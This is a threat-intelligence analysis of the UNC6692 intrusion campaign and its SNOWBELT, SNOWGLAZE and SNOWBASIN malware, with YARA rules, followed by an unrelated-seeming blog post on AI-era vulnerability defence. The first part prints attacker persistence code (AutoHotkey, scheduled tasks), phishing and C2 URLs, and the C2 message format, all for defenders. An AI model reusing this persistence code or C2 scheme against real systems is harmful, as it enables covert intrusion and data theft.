Written by: JP Glab, Tufail Ahmed, Josh Kelley, Muhammad Umair

Introduction 

Google Threat Intelligence Group (GTIG) identified a multistage intrusion campaign by a newly tracked threat group, UNC6692, that leveraged persistent social engineering, a custom modular malware suite, and deft pivoting inside the victim’s environment to achieve deep network penetration. 

As with many other intrusions in recent years, UNC6692 relied heavily on impersonating IT helpdesk employees, convincing their victim to accept a Microsoft Teams chat invitation from an account outside their organization. The UNC6692 campaign demonstrates an interesting evolution in tactics, particularly the use of social engineering, custom malware, and a malicious browser extension, playing on the victim’s inherent trust in several different enterprise software providers. 

Threat Details

In late December 2025, UNC6692 conducted a large email campaign designed to overwhelm the target with messages, creating a sense of urgency and distraction. Following this, the attacker sent a phishing message via Microsoft Teams, posing as helpdesk personnel offering assistance with the email volume.

Infection Chain

The victim was contacted through Microsoft Teams and was prompted to click a link to install a local patch that prevents email spamming. Once clicked, the user’s browser opened an HTML page and ultimately downloaded a renamed AutoHotKey binary and an AutoHotkey script, sharing the same name, from a threat actor-controlled AWS S3 bucket.

"url": "https://service-page-25144-30466-outlook.s3.us-west-2.amazonaws.com/update.html?email=<redacted>.com",
"description": "Microsoft Spam Filter Updates | Install the local patch to protect your account from email spamming",

Figure 1: Snippet from MS Team Logs

If the AutoHotkey binary is named the same as a script file in its current directory, AutoHotkey will automatically run the script with no additional command line arguments. Evidence of AutoHotKey execution was recorded immediately following the downloads resulting in initial reconnaissance commands and the installation of SNOWBELT, a malicious Chromium browser extension (not distributed through the Chrome Web Store). Mandiant was unable to recover the initial AutoHotKey script. 

The persistence of SNOWBELT was established in multiple ways. First, a shortcut to an AutoHotKey script was added to the Windows Startup folder, which verified SNOWBELT was running and that a Scheduled Task was present.

if !CheckHeadlessEdge(){
   try{
      taskService:=ComObject("Schedule.Service")
      taskService.Connect()
      rootFolder:=taskService.GetFolder("\")
      if FindAndRunTask(rootFolder){
         Sleep 10000
         if CheckHeadlessEdge(){
         ExitApp
         }
      }
   }
   Run 'cmd /c start "" "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\System Data" --headless=new --load-extension="%LOCALAPPDATA%\Microsoft\Edge\Extension Data\SysEvents" --no-first-run',,"Hide"
}
ExitApp

Figure 2: Snippet from AutoHotKey script to verify SNOWBELT was running and to start it if not

Second, two additional scheduled tasks were installed. One task to start a windowless Microsoft Edge process that loads the SNOWBELT extension and another to identify and terminate Microsoft Edge processes that do not have CoreUIComponents.dll loaded.

<Exec>
    <Command>
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    </Command>
    <Arguments>
       --user-data-dir="C:\Users\<redacted>\AppData\Local\Microsoft\Edge\System Data"  
       --no-first-run   
       --load-extension="C:\Users\<redacted>\AppData\Local\Microsoft\Edge\Extension Data\SysEvents"   
       --headless=new --disable-sync
    </Arguments>
</Exec>

Figure 3: Snippet from the scheduled task to start the SNOWBELT extension windowless Microsoft Edge

Microsoft Edge processes without CoreUIComponents.dll are typically headless. The threat actor uses this command to essentially “clean up” headless Edge processes that execute their malware.

<Exec>
    <Command>cmd</Command>
    <Arguments>
    /c "for /f "tokens=2" %p in ('tasklist /M SHELL32.dll ^| findstr "msedge.exe"') do @(tasklist /M CoreUIComponents.dll | findstr "%p" >nul || taskkill /F /PID %p)"
    </Arguments>
</Exec>

Figure 4: Snippet from the scheduled task to check for CoreUIComponents.dll

Using the SNOWBELT extension, UNC6692 downloaded additional files including SNOWGLAZE, SNOWBASIN, AutoHotkey scripts, and a ZIP archive containing a portable Python executable and required libraries.

Internal Recon and Lateral Movement

After gaining initial access, process execution telemetry recorded UNC6692 using a Python script to scan the local network for ports 135, 445, and 3389. Following internal port scanning, the threat actor established a Sysinternals PsExec session to the victims system via the SNOWGLAZE tunnel, and executed commands to enumerate local administrator accounts. Using the local administrator account, the threat actor initiated an RDP session via the SNOWGLAZE tunnel from the victim system to a backup server. Though not directly observed, the threat actor may have acquired the local administrator accounts credentials via multiple attack paths such as authenticated Server Message Block (SMB) share enumeration.

Escalate Privileges

After gaining access to the backup server the threat actor utilized the local administrator account to extract the system's LSASS process memory with Windows Task Manager. Microsoft Windows Local Security Authority Subsystem Service (LSASS) process lsass.exe enforces security policy and contains usernames, passwords and hashes for accounts that have accessed the system. After extracting the process memory, UNC6692 exfiltrated it via LimeWire. With the process memory out of the victim environment UNC6692 is able to use offensive security tools to extract the credentials while not having to worry about being detected. 

Complete Mission

Now armed with the password hashes of elevated users, UNC6692 used Pass-The-Hash to move laterally to the network's domain controllers. Pass-The-Hash is a common technique used by threat actors where the NTLM hash is passed to another system, instead of providing the account password, allowing for authentication via NTLM. Once authenticated to the Domain Controller, the threat actor opened Microsoft Edge, and downloaded a ZIP archive containing FTK Imager to the Domain Administrator’s \Downloads folder. The threat actor executed FTK Imager and mounted the local storage drive. Subsequently, FTK Imager wrote the Active Directory database file (NTDS.dit), Security Account Manager (SAM) , SYSTEM, and SECURITY registry hives to the \Downloads folder. The extracted files were then exfiltrated from the network via LimeWire. Finally, EDR telemetry logged the threat actor performing screen captures on the Domain Controllers, specifically targeting in-focus instances of Microsoft Edge and FTK Imager.

THE SNOW Ecosystem

Phishing Landing Page

The original phishing link (https://service-page-25144-30466-outlook.s3.us-west-2.amazonaws.com/update.html?email=<redacted>.com) delivered via Microsoft Teams directs the victim to a landing page masquerading as a "Mailbox Repair Utility." This interface is designed to elicit user engagement through various on-screen buttons.

Phase 1: Environment Enforcement and Anti-Analysis

The attacker used a gatekeeper script designed to ensure the payload is delivered only to intended targets while evading automated security sandboxes. Upon loading, the landing page executes an init() function that inspects the URL for a mandatory ?email= parameter. If this parameter is absent, the page immediately redirects to about:blank. 

The script also checks the victim’s browser. If the user is not using Microsoft Edge, the page displays a persistent overlay warning. This forces the user to click an "Open in Edge" button, which triggers the microsoft-edge: URI scheme. This ensures the victim is moved from potentially secure mobile or third-party browser environments into a specific workspace where the attacker’s exploits are most effective.

Phase 2: Credential Harvesting via Social Engineering

Once the environment is established, the page presents a professional-looking "Configuration Management Panel" masquerading as an official "Mailbox Repair and Sync Utility." The primary hook is a "Health Check" button that, when clicked, triggers an "Authentication Required" modal.

The harvesting script, handleAuthFormSubmit, employs a "double-entry" psychological trick. It is programmed to reject the first and second password attempt as incorrect. This serves two functions: it reinforces the user’s belief that the system is legitimate and performs real-time validation, and it ensures that the attacker captures the password twice, significantly reducing the risk of a typo in the stolen data. A screenshot of authentication is shown in Figure 7, and the email supplied is entered by default.

Phase 3: Data Exfiltration and Distraction Sequences

Upon successful submission, the script executes an asynchronous PUT request using AWS URLs. The validated credentials and metadata are uploaded directly to an attacker-controlled Amazon S3 bucket (e.g., service-page-18968-2419-outlook.s3.us-west-2.amazonaws.com), which have since been taken down. These buckets serve as the command and control (C2) infrastructure and represent critical indicators of compromise (IOCs).

To mask this background activity and prevent user suspicion, the script initiates a startProgressBar function. This displays a scripted distraction sequence featuring fake technical tasks such as "Parsing configuration data" and "Checking mailbox integrity." This manipulation keeps the victim engaged until the data transfer is complete.

Phase 4: Malware Staging and Endpoint Foothold

The final stage involves the delivery of secondary malicious payloads referenced within the CONFIG object of the script. While the progress bar runs, the site is prepared to deliver files seen in Table 1.

By the time the user receives a "Configuration completed successfully" message, the attacker has secured the credentials and potentially established a persistent foothold on the endpoint using these staged files.

The SNOW malware ecosystem, attributed to the threat cluster UNC6692, operates as a modular ecosystem comprising three primary components: SNOWBELT, SNOWGLAZE, and SNOWBASIN. Rather than functioning as isolated tools, these components form a coordinated pipeline that facilitates an attacker's journey from initial browser-based access to the internal network of the organization.

1.SNOWBELT (Browser Extension)

SNOWBELT serves as the initial foothold and the primary "eyes" of the operation. It is a JavaScript-based backdoor delivered as a Chromium browser extension, often masquerading under names like "MS Heartbeat" or "System Heartbeat".  Rather than being available through the Chrome Web Store, the extension is deployed through social engineering tactics.

• Role: It is designed to intercept commands and send them to SNOWBASIN for execution . It maintains persistence via the browser's extension registration system and uses Service Worker Alarms and Keep-Alive Tab Injection (via helper.html) to ensure it remains active whenever the browser is running.

• Functionality: By relaying commands from the threat actor to SNOWBASIN, SNOWBELT provides authenticated access to the environment. This allows the attacker to move laterally and escalate privileges without the need for constant re-authentication.

2.SNOWGLAZE (Python Tunneler)

Once a foothold is established, SNOWGLAZE is deployed to manage the logistics of external communication. SNOWGLAZE is a Python-based tunneler that can operate in both Windows and Linux environments.

• Role: Its primary function is to create a secure, authenticated WebSocket tunnel between the victim's internal network and the attacker's command-and-control (C2) infrastructure, such as a Heroku subdomain. It facilitates SOCKS proxy operations, allowing arbitrary TCP traffic to be routed through the infected host.

• Functionality: SNOWGLAZE masks malicious traffic by wrapping data in JSON objects and Base64 encoding it for transfer via WebSockets. This makes the activity appear as standard encrypted web traffic. When attackers wish to interact with backdoors like SNOWBASIN or exfiltrate staged data, traffic is routed through this established tunnel.

3.SNOWBASIN (Python Bindshell)

While SNOWBELT monitors the user and SNOWGLAZE bridges the network gap, SNOWBASIN provides the functional interactive control over the infected system.

• Role: It acts as a persistent backdoor that operates as a local HTTP server (typically listening on port 8000). It enables remote command execution via cmd.exe or powershell.exe, screenshot capture, and data staging for exfiltration.

• Functionality: This component is where active reconnaissance and mission completion occur. Attacker commands (such as whoami or net user) are sent through the SNOWGLAZE tunnel, intercepted by the SNOWBELT extension, and then proxied to the SNOWBASIN local server via HTTP POST requests. SNOWBASIN executes these commands and relays the results back through the same pipeline to the attacker.

Malware Analysis 

SNOWBELT

SNOWBELT is a JavaScript-based backdoor implemented as a Chromium browser extension. Its lifecycle begins with the execution of the background.js Service Worker upon installation, which leverages the browser's extension registration system for persistence. To ensure continuous operation while the browser is active, the malware utilizes Service Worker Alarms (agent-heartbeat) and Keep-Alive Tab Injection (helper.html).

Upon initialization, the malware generates a unique identity using the prefix fp-sw- followed by a UUID. It then employs a time-based DGA to calculate C2 URLs. Using a hard-coded seed value (691f7258f212fa8908a8bf06bcf9e027d2177276e13e10ff56bd434ff3755cc4), it generates a registry URL for an S3 bucket within 30-minute time slots. These URLs follow a specific structural pattern:

• https://[a-f0-9]{24}-[0-9]{6,7}-{0-9}{1}.s3.us-east-2.amazonaws[.]com

The manifest retrieved from this registry is decrypted via AES-GCM using a key derived from SHA256(SEED + "|" + timeslot).

For low-latency C2, SNOWBELT registers with the browser's Push Notification service. This is achieved using a hard-coded VAPID Public Key:

BJkWCT45mL0uvV3AssRaq9Gn7iE2N7Lx38ZmWDFCjwhz0zv0QSVhKuZBLTTgAijB12cgzMzqyiJZr5tokRzSJu0

This setup provides an asynchronous channel that allows attackers to "wake up" the Service Worker immediately via authenticated Push messages, bypassing standard polling. Additionally, the malware supports real-time interaction through a persistent REGISTRY_WEBSOCKET_URL connection.

SNOWBELT functions in coordination with SNOWBASIN, a backdoor acting as a local web server (typically on port 8000). It relays decrypted C2 commands—such as command, buffer, flush, and commit—to SNOWBASIN via HTTP POST requests, effectively proxying shell commands to the host system.

The malware also includes mechanisms to bypass the browser sandbox:

1. Native Host Bridge (open_native_messaging): Uses chrome.runtime.connectNative to establish I/O pipes with local applications for issuing privileged commands.

2. Protocol Handler Abuse (open_uri): Employs dream.html and dream.js to trigger custom URI schemes in new tabs, targeting vulnerabilities in third-party desktop applications.

Exfiltration is managed by the sendJsonDataToS3 function, which encrypts data with AES-GCM (Key: SHA256(SEED + "|ping|" + bucket + "|" + objectKey)) before uploading to S3. The backdoor's command set is summarized in Table 2.

Finally, SNOWBELT implements a feedback loop by monitoring chrome.downloads.onChanged. If a download is blocked (e.g., FILE_VIRUS_INFECTED), the malware reports the error back to the S3-based C2.

SNOWBASIN 

SNOWBASIN is a Python-based backdoor that operates as a local HTTP server on ports 8000, 8001, or 8002. Its core capabilities include command execution, screenshot capture, and data exfiltration. The malware also enables operators to manage files by downloading or deleting them, and it provides the capability to terminate active connections. SNOWBELT relays commands to this malware by sending HTTP requests to localhost:8000.

It turns the victim's computer into a command-and-control (C2) node that can be controlled via HTTP requests. It is designed to run on Windows (evidenced by os.chdir('C:\\') and cmd.exe calls) and allows a remote actor to execute commands, steal files, and take screenshots.

SNOWGLAZE

The network tunneler SNOWGLAZE, developed in Python, facilitates the routing of arbitrary TCP traffic through a compromised system by establishing a WebSocket connection to a static C2 host using hard-coded credentials.

The script is designed for cross-platform execution on both Windows and Linux, utilizing environment-specific behaviors for each. In Windows environments, it runs as a foreground process manageable via standard keyboard interrupts (Ctrl-C). Conversely, on Linux, it operates as a background daemon and includes specific logic to handle SIGINT and SIGTERM signals for orderly shutdowns.

To establish communication, the malware targets the C2 server at wss://sad4w7h913-b4a57f9c36eb[.]herokuapp[.]com:443/ws, masquerading its traffic with a Microsoft Edge User-Agent string. If the initial connection fails, the script employs an incremental backoff strategy, starting at 5 seconds and increasing by 5-second intervals up to a 300-second maximum. Upon a successful WebSocket handshake, it transmits the following Auth payload:

{
    "type": "auth",
    "login": "<redacted",
    "password": "<redacted",
    "uuid": "<redacted>"
}

Following authentication, the script sends a "register" type message with no payload, followed by an "agent_info" JSON record. Although the "info" field within this record is intended to carry the public IP address, it remains unpopulated due to improper implementation in the script.

Once fully connected, the malware listens for JSON-formatted commands. The supported "type" values include:

• ping

• Prompts the script to return a "type": "pong" JSON object.

• agent_public_ip

• Intended to report the host's public IP via an agent_info structure; however, the IP field is consistently blank in current versions.

• socks_connect

• Requests a new SOCKS proxy connection using a unique conn_id provided by the operator to track the session. The request format is as follows:

{
    "type": "socks_connect",
    "conn_id": "<unique_connection_id>",
    "target_host": "example.com",
    "target_port": 80
}

• • Execution triggers an asynchronous worker thread that manages the TCP-to-WebSocket data transfer, utilizing Base64 encoding and JSON encapsulation with the socks_data type.

• socks_data

  • Facilitates bidirectional data exchange between the WebSocket and the TCP socket. Data is Base64-encoded within the data field of the following structure:

    {
        "type": "socks_data",
        "conn_id": "<unique_connection_id>",
        "data": "bG9yZW0gaXBzdW0=" 
    }

• socks_close

• Terminates the specific proxy stream identified by the given conn_id.

• disconnect

• Serves all active proxy connections and terminates script execution.

Outlook & Implications

The UNC6692 campaign demonstrates how modern attackers blend social engineering and technical evasion to gain a foothold into environments. A critical element of this strategy is the systematic abuse of legitimate cloud services for payload delivery and exfiltration, and for command-and-control (C2) infrastructure. By hosting malicious components on trusted cloud platforms, attackers can often bypass traditional network reputation filters and blend into the high volume of legitimate cloud traffic. 

This "living off the cloud" strategy allows attackers to blend malicious operations into a high volume of encrypted, reputably sourced traffic, making detection based on domain reputation or IP blocking increasingly ineffective. Defenders must now look beyond process monitoring to gain clear visibility into browser activity and unauthorized cloud traffic. As threat actors continue to professionalize these modular, cross-platform methodologies, the ability to correlate disparate events across the browser, local Python environments, and cloud egress points will be critical for early detection.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying the activity outlined in this blog post, we have included IOCs in a free GTI Collection for registered users.

Network Indicators

File Indicators

YARA Rules

SNOWGLAZE

rule G_Tunneler_SNOWGLAZE_1 {
  meta:
   author = "Google Threat Intelligence Group (GTIG)"
   platforms = "Windows, Linux"

  strings:
    $r1 = /\.connect\(\s{0,25}WS_PROXY_URL/
    $r2 = /"data":\s{0,1}base64\.b64encode\(\w{1,10}\)\.decode\('ascii'\)/
    $r3 = /"type":\s{0,1}"socks_data"/
    $r4 = /await\s{0,1}reader\.read\(\d{2,4}\)/
    $r5 = /"login":\s{0,1}AGENT_LOGIN/
    $r6 = /"password":\s{0,1}AGENT_PASSWORD/
    $r7 = /"uuid":\s{0,1}AGENT_UUID/
    
    $s1 = ".socks_tcp_to_ws"

  condition:
    5 of ($r*)
    and $s1
}

SNOWBELT

rule G_Backdoor_SNOWBELT_1 {
    meta:
        author = "Google Threat Intelligence Group (GTIG)"
        platform = "Windows"
    
	strings:
		$str1 = ".importKey(\"raw\",keyMaterial,\"AES-GCM\",!1,[\"decrypt\"])"
		$str2 = ".importKey(\"raw\",keyMaterial,\"AES-GCM\",!1,[\"encrypt\"])"
		$str3 = "sendJsonDataToS3"
		$str4 = "processCommand"
		$str5 = "\"screenshot\"===cmdType"
		$str6 = "\"payload\"===cmdType"
		$str7 = "\"websocket_control\"===cmdType"
		$str8 = "\"open_uri\"===cmdType"
		$str9 = "\"delete_cache\"===cmdType"
		$str10 = "\"payload_download_complete\""
		$str11 = ".s3.us-east-2.amazonaws.com/"
	condition:
		all of them
          
}

SNOWBASIN

rule G_Backdoor_SNOWBASIN_1 {
  meta:
    author = "Google Threat Intelligence Group (GTIG)"
    platform = "Windows"

  strings:
    $path1 = "self.path == '/probe':"
    $path2 = "self.path == '/stream':"
    $path3 = "self.path == '/buffer':"
    $path4 = "self.path == '/flush':"
    $path5 = "self.path == '/commit':"
    $path6 = "self.path == '/capture':"
    $path7 = "self.path == '/gc':"

    $func1 = "self.handle_stream("
    $func2 = "self.handle_buffer("
    $func3 = "self.handle_flush("
    $func4 = "self.handle_commit("

    $s1 = "self.wfile.write(info_msg"
    $s2 = "selected_port), WebServerHandler) as httpd:"
    $s3 = "ThreadedTCPServer(socketserver.ThreadingMixIn"
    $s4 = "httpd.serve_forever()"


  condition:
    filesize<1MB and (
      (all of ($s*) and 6 of ($path*, $func*)) or
      (8 of ($path*, $func*)) or
      10 of them
    )
}

MITRE ATT&CK

Acknowledgements

This analysis would not have been possible without the assistance from several individuals within Mandiant Consulting, Google Threat Intelligence Group and FLARE who helped with analysis and reviewing this blog post. We also appreciate Amazon for their collaboration against this threat.

Introduction 

Advances in AI model-powered exploitation have demonstrated that general-purpose AI models can excel at vulnerability discovery, even without being purpose-built for the task. Eventually, capabilities such as these will be integrated directly into the development cycle, and code will be more difficult to exploit than ever; however, this transition creates a critical window of risk. As we harden existing software with AI, threat actors will use it to discover and exploit novel vulnerabilities.

Faced with this scenario, defenders have two critical tasks: hardening the software we use as rapidly as possible, and preparing to defend systems that have not yet been hardened.

As noted in Wiz’s blog post, Claude Mythos: Preparing for a World Where AI Finds and Exploits Vulnerabilities Faster Than Ever, now is the time to strengthen playbooks, reduce exposure, and incorporate AI into security programs. The following blog provides an overview of the evolving attack lifecycle, how threat actors will weaponize these capabilities, and a roadmap for modernizing enterprise defensive strategies.

aside_block

<ListValue: [StructValue([('title', 'Webinar: Defending Your Enterprise When AI Models Can Find Vulnerabilities Faster Than Ever'), ('body', <wagtail.rich_text.RichText object at 0x7faabc6e3d30>), ('btn_text', 'Register now'), ('href', 'https://www.brighttalk.com/webcast/18282/666651?utm_source=gcs-blog&utm_medium=blog&utm_campaign=mythos'), ('image', None)])]>

Exploits in the Adversary Lifecycle

Historically, the discovery of novel vulnerabilities and the subsequent development of zero-day exploits required significant time, specialized human expertise, and resources. Today, highly capable AI models are increasingly demonstrating the ability to not only identify vulnerabilities but also help generate functional exploits, lowering the barrier to entry for threat actors. Continued advancements in these capabilities will increasingly make exploit development achievable for threat actors of all skill levels, significantly compressing the attack timeline. GTIG has already observed threat actors leveraging LLMs for this purpose as well as the marketing of this capability within AI tools and services advertised in underground forums.

A significant shift in the economics of zero-day exploitation will enable mass exploitation campaigns, ransomware and extortion operations, and an increased volume of activity from actors who previously guarded these capabilities and used them sparingly.

Accelerated exploit deployment is a trend we’ve already been observing among advanced adversaries. In our 2025 Zero-Days in Review report, we noted that PRC-nexus espionage operators have become increasingly adept at rapidly developing and distributing exploits among otherwise separate threat groups. This has significantly shrunk the historical gap between public vulnerability disclosure and widespread mass exploitation, a trend we expect to continue.

This evolving landscape will almost certainly result in meaningful shifts over the coming year:

Scaling Defenses for Machine-Speed Threats

We have long anticipated that AI models would become capable of vulnerability discovery—which is why we’ve been using AI tools like Big Sleep, CodeMender, and OSS-Fuzz to proactively find and fix vulnerabilities over the years.

Now as threat actors leverage AI to significantly multiply their offensive output, enterprise defenders cannot rely on human-speed patching protocols to keep up. When organizations are confronted with an AI-enabled surge in vulnerabilities, traditional security tooling and manual triage will fail to keep pace.

Attempting to absorb this exponential increase in workload using legacy processes will result in severe overload and burnout for security and development teams. The question is no longer just about proactive scanning and adherence to traditional patching SLAs; it is about whether organizations are empowering their workforce with the automation needed to eliminate manual toil. To prepare for this reality, organizations must integrate AI defensively, shifting the role of the security practitioner from manual investigator to strategic coordinator.

A Modern, AI-Integrated Defensive Roadmap

In order to modernize the traditional vulnerability roadmap, organizations must incorporate automation and prioritize resilience. 

Organizations are no longer defending against purely human-speed exploitation. AI-enabled adversaries can identify, chain, and weaponize weaknesses faster than traditional vulnerability management programs were designed to respond. A modern roadmap should therefore emphasize automation, resilience, and continuous validation.

This roadmap is organized in two parts. The first outlines advanced modernization priorities for organizations that are ready to evolve their security programs to achieve defense at AI enabled speeds. The second provides foundational guidance for organizations that are still building core vulnerability management capabilities.

Advanced Modernization Priorities

Secure Your Code 

Organizations have historically focused on patching and securing tangible assets like laptops, servers, and network infrastructure. In today’s threat landscape, that same discipline must be applied to source code, code libraries, and the systems used to build and deploy it.

Code repository platforms should be tightly protected and accessible only through trusted internal networks, managed identities, or other strongly controlled access paths. Organizations should proactively scan for secrets within their codebase that may be weaponized by adversaries and eliminate any practice of storing sensitive credentials in plaintext.

Similarly, organizations are still accountable for vulnerable code from their supply chains, and they must proactively plan for and defend against attacks through exploitation of compromised code libraries. This creates a conflict with updating versions and repositories immediately against holding onto known and trusted versions.

Accordingly, security controls should cover build runners, CI/CD pipelines, and other automated execution mechanisms, which are increasingly attractive targets for threat actors. AI-enabled scanning tools can help teams detect critical vulnerabilities faster and uncover groups of weaknesses that may appear minor on their own but could be chained together for exploitation. 

Organizations should leverage frameworks like Wiz SITF to map their SDLC threat model and identify "attack chains" where minor, isolated weaknesses are combined by AI to create a critical breach. Additionally, one-time static or dynamic scanning is no longer sufficient. Organizations should deploy emerging commercial and open-source agentic solutions to review code and mitigate flaws before they can be exploited. 

Move to Automated Security Operations

Traditional dashboards and static detection rules will struggle under the volume of automated attacks. Security operations need to become more dynamic, with a clear path toward an agentic SOC.

Legacy models are often reactive and constrained by manual workflows, By deploying specialized AI agents such as Google Cloud’s Triage and Investigation Agent and Gemini in Google Security Operations, teams can automate alert triage, analyze suspicious code without manual reverse engineering, correlate signals across multiple tools, and generate response playbooks in real time. This allows analysts to spend less time on repetitive investigation and more time on high-value decisions, helping the SOC respond to AI-enabled attacks at AI speed.

Reduce Attack Surface 

Organizations should design networks with a zero trust approach and focus first on reducing exposure across internet-facing systems, critical infrastructure, control planes, and trusted service infrastructure. 

Network segmentation and identity-based access controls should be in place so that if an edge device is compromised through a zero-day exploit, the blast radius is limited and easier to contain.

Maintain Continuous Asset Discovery and Posture Management

Unidentified assets are a major blindspot for organizations and a critical weakness that AI-enabled threat actors are able to exploit with increasing efficiency. Static spreadsheets and manual asset tracking are no longer a viable and scalable strategy.

Security teams need a continuously updated, automated inventory covering endpoints, servers, public-facing systems, network infrastructure, AI systems, cloud environments and ephemeral assets like Kubernetes pods. Dynamic asset discovery is critical for reducing blind spots and shadow AI. The more seamlessly known assets can be fed into downstream security tooling, the more accurate and effective frontline detection and response will be.

Expand Automated Scanning Coverage

Automated vulnerability scanning should cover every major operating system in use, including Windows, macOS, and Linux, across both endpoints and servers.

Reduce blind spots and maintain continuous, comprehensive visibility into vulnerabilities. Where possible, that visibility should feed directly into automated remediation pipelines.

Enhance Network Device Patching and Limit Connectivity

Organizations need a highly automated, repeatable process for identifying missing firmware and security updates on network devices and for scheduling maintenance efficiently. Network infrastructure has long been a preferred target for sophisticated threat actors, and AI will only accelerate the discovery of weaknesses in these often-overlooked systems.

Organizations should use perimeter controls to block unnecessary outbound connections from internal network devices. Any attempt by those devices to communicate externally should be investigated to determine whether it is required for normal operations or signals something more concerning. Proactively, organizations should baseline what outbound connections are normal, in order to alert against anomalies.

Formalize Emergency Remediation SLAs

AI may help accelerate patching, but emergency response still depends on clear human processes.

Organizations should define remediation SLAs based on severity, exposure, and asset criticality, and those expectations should be aligned across security, IT, and business stakeholders. When a vulnerability is being actively exploited in the wild, teams need a pre-approved, low-friction process to apply temporary mitigations, such as restricting public access or isolating affected systems, while permanent fixes are validated. Extremely critical business processes should each have secondary systems that can deliver the same objectives with different underlying technology. By having alternatives and fall backs for these processes, organizations give themselves more options to address emergency remediation while minimizing potential business disruption.

Secure AI Agents and Implement SAIF

As organizations deploy AI agents, they also create a new attack surface that must be protected.

Organizations should adopt frameworks such as Google’s Secure AI Framework (SAIF) to guide the secure deployment of AI models and applications. Tools like Google Cloud Model Armor or similar industry solutions can also serve as a protective layer for large language model environments by screening inputs and outputs for prompt injection, jailbreak attempts, and Google Cloud Sensitive Data Protection can prevent sensitive data leakage. Locking down connections that AI systems can establish such as MCP, with fine grained IAM roles is critical to prevent from insecure plugin use threats. 

Defensive AI systems cannot become another point of compromise, and they should be secured accordingly.

Foundational Vulnerability Management Priorities

Not every organization starts from the same baseline. The priorities above assume a relatively mature security program with established tooling, ownership, and operational capacity. For organizations with limited or inconsistent vulnerability management capabilities, the first step is to build a reliable foundation before pursuing advanced AI-enabled operating models.

The Current Reality of Vulnerability Management

Vulnerability management programs vary widely based on the maturity of an organization’s overall security program. In more mature environments, vulnerability management is highly automated: in-scope vulnerabilities are identified, routed to the appropriate IT, infrastructure, or application owners, and automatically validated once remediation is complete.

In less mature environments, the opposite is often true. Vulnerability management may be inconsistent, narrowly scoped, and focused primarily on the highest-profile zero-days. Tracking may still rely on local spreadsheets, systems may be overlooked, and even trusted service infrastructure assets such as Active Directory domain controllers may remain unpatched.

Such organizations need to immediately modernize and elevate their vulnerability management programs. Most organizations were already unable to remediate every vulnerability across their technology stack, and the rise of AI-enabled threats worsens that reality, increasing the urgency of building programs that are automated, measurable, tracked, and validated.

Achieving that outcome is challenging. It requires coordination across the three foundational pillars of any security program: people, process, and technology. A prioritized and phased approach is outlined as follows.

Foundation Step #1 — Baseline Current State

Begin with the tools, processes, and coverage already in place. Scan everything currently in scope, identify Critical and High findings, and remediate them according to agreed urgency and service levels. At the same time, establish a process for tracking vulnerabilities that are being actively exploited in the wild, along with the emergency patching actions they may require. This phase should also confirm that system owners have defined maintenance windows and the operational support needed to meet remediation SLAs.

Foundation Step #2 — Expand System Scanning Coverage

Broaden vulnerability scanning across all major operating systems in use, including Windows, macOS, and Linux, for both endpoints and servers. Additionally, expand coverage to include other network attached systems, including the network devices themselves.The objective is to reduce blind spots and ensure vulnerability visibility extends across the environment, rather than covering only isolated segments.

Foundation Step #3 — Confirm Asset Inventory and Ownership

Maintain a simple, accurate inventory of key asset classes, including endpoints, servers, public-facing systems, network infrastructure, and specialized devices such as medical equipment where applicable. Every asset should have a clearly defined owner responsible for remediation coordination, exception handling, and lifecycle accountability.

Foundation Step #4 — Establish Standard Program Reporting

Create a consistent reporting cadence that gives stakeholders a clear view of program health and risk. Reporting should include scanning coverage by asset class, top Critical and High vulnerabilities, public-facing exposure, patch compliance, SLA performance, and documented exceptions or risk acceptances. The goal is to produce reporting that drives decisions, not just dashboards that provide visibility.

Foundation Step #5 — Prioritize Public-Facing and High-Risk Vulnerabilities

Identify the attack surface and prioritize vulnerabilities affecting internet-exposed systems, critical infrastructure, and assets that present the highest likelihood of exploitation or business impact. Remediation should be tracked against defined deadlines, with clear escalation paths when timelines are at risk. Where possible, internet-exposed systems should be engineered for automatic patching.

Foundation Step #6 — Develop a Specialized Process for High-Sensitivity Devices

For device classes that require additional coordination, such as medical devices, industrial control systems, or other operational technology, create a streamlined process for identifying vulnerabilities, coordinating with vendors or support teams, and applying compensating controls when patching is not feasible. These assets often require a different remediation model than standard IT systems.

Foundation Step #7 — Formalize Remediation SLAs and Exception Handling

Define remediation SLAs based on severity, exposure, and asset criticality, and ensure they are understood across security, IT, and business stakeholders. Just as importantly, establish a formal exception process for situations where remediation cannot be completed within the required timeframe. Exceptions should be documented, risk-assessed, approved by the appropriate stakeholders, and reviewed on a recurring basis.

How Google Can Help 

In today’s cybersecurity landscape, we’re not just defending against human attackers, but also against tactics supercharged by AI tools. To counter these machine-speed threats, Google provides a comprehensive, AI-integrated defensive ecosystem:

• Google Threat Intelligence: To combat the unprecedented volume of AI-generated exploits, Google Threat Intelligence enables a proactive 'assume breach' mentality. By fusing Mandiant’s codified frontline adversarial behaviors with Google’s global visibility of the threat landscape, security teams can move beyond static indicators to hunt for the subtle, non-linear behaviors characteristic of novel attacks. As both security noise and true threats escalate, the platform helps organizations better prioritize security resources based on active threats. By cutting through this growing noise to focus on what is truly important, security teams save time, ultimately empowering them to disrupt the adversary’s lifecycle long before they can reach their objective.

• Mandiant Security Consulting Services: Mandiant AI Security Consulting Solutions can help organizations design and operationalize this architecture. This includes helping organizations speed the identification and remediation of vulnerabilities through code reviews, mature their secure software development lifecycles (SSDLCs), and modernize the overall vulnerability management programs to handle the anticipated influx of vulnerabilities with greater efficiency and resilience. 

• Agentic SecOps: Google SecOps provides the foundation for an agentic security operations center. This allows teams to augment workflows with agents, combining dynamic AI with deterministic automation. Users can embed agents like the Triage and Investigation agent directly into workflows to accelerate response times. This agent autonomously investigates alerts, gathers evidence, and provides verdicts with clear explanations. This enables automated decision-making and remediation, freeing analysts to focus on high-priority threats rather than false positives. Orchestrating responses becomes more efficient as friction is reduced. Additionally, customers can build enterprise-ready security agents with remote Model Context Protocol (MCP) server support. 

• Mandiant Threat Defense (MTD): To augment internal teams, Mandiant Threat Defense leverages frontline intelligence and AI-enabled telemetry to proactively hunt for and disrupt advanced, machine-speed threats.

